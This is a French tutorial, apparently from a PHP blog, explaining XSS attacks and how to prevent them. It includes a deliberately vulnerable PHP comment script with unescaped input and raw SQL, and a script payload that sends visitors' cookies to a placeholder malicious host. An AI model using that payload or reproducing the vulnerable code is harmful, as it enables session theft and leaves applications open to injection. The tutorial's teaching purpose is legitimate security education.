Se protéger des attaques XSS

Présentation

Les attaques XSS ou Cross-Site Scripting ont pour principe l’injection de données dans une application web dans le but d’exécuter du code malveillant, le plus souvent du javascript.

Le code peut être inséré via les champs d’un formulaire ou encore les paramètres d’une URL, si les informations saisies sont stockées puis affichées sans vérification préalable, le code sera exécuté dans le navigateur client.

Démonstration

Etudions le petit script suivant, celui-ci affiche un formulaire simple pour ajouter un commentaire, stocke celui-ci dans une base de données et affiche la liste des commentaires stockés :

<form action="" method="POST">
    <p>Commentaire: <input type="text" name="texte" /></p>
    <p><input type="submit" value="Valider" /></p>
</form>
<ul>
<?php
// sauvegarder le commentaire
mysql_connect("localhost", "user", "pass");
mysql_select_db("test_xss");
if ($_POST['texte']) {
    $sql = "INSERT INTO comments (id, contenu) VALUES ('', '{$_POST['texte']}')";
    mysql_query($sql);
}
// afficher la liste des commentaires 
$sql = 'SELECT * FROM comments';
$reponse = mysql_query($sql);
while ($commentaire = mysql_fetch_array($reponse)) { ?>
    <li><?php echo $commentaire['contenu']; ?></li>
<?php
}
mysql_close(); ?>
</ul>

Imaginons désormais qu’un utilisateur enregistre le commentaire suivant :

<script>alert("hello world !");</script>

Lorsque les autres utilisateurs se rendent sur la page, le code javascript contenu dans le commentaire est affiché et exécuté dans leur navigateur, ouvrant la popup définie.

Imaginons désormais dans le contexte d’une application nécessitant une identification un commentaire de la forme suivante :

<script>new Image().src = "http://site-malveillant.org/capture.php?cookie="
+ encodeURI(document.cookie);</script>

Celui-ci envoi une requête HTTP sur le script capture.php d’un site tiers en passant en paramètre le cookie du visiteur, une fois le cookie capturé, il pourra être utilisé pour usurper la session du visiteur.

Ligne de conduite

Les quelques points que nous allons aborder ci-dessous permettent de se prémunir de la majorité des attaques XSS.

Filtrer toutes les données externes

Cet aspect est le plus important, il est impératif de filtrer l’ensemble des données externes utilisées par l’application. Les vérifications s’effectuent aussi bien au moment de la saisie d’informations via un formulaire qu’à l’affichage de celles-ci une fois issues d’une base de données.

Utiliser les solutions matures

Evitez de ré-inventer la roue, il existe des fonctions matures et éprouvées dans tous les langages, on s’épargne ainsi de potentielles erreurs et donc des vulnérabilités. En PHP, l’utilisation des fonctions htmlentities() et strip_tags() permettent respectivement d’encoder les balises HTML et de supprimer toutes les balises PHP et HTML de la chaîne.

Valider toutes les données en entrée

Validez l’ensemble des données en entrée en vérifiant que l’information est bien du type attendu, ie, longueur maximale, seulement des caractères alphanumériques, etc.

Utiliser une convention de nommage

Mettez en place une convention de nommage simple mais rigoureuse lors de vos développements, par exemple en nommant explicitement les variables contenant des données externes (ex : $externFoobar) et en gardant à l’esprit de ne jamais stocker ou afficher de variables de ce type.

Conclusion

Les vulnérabilités XSS ont souvent été négligées, ce qui explique que l’on en croise encore régulièrement, et ceci, même dans des solutions libres et opensource robustes. Comme toujours, il est question d’habitude, et il suffit de se fixer quelques règles simples pour produire un code plus sûr et des applications plus fiables.

Ressources complémentaires

PHP , Permalien.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="">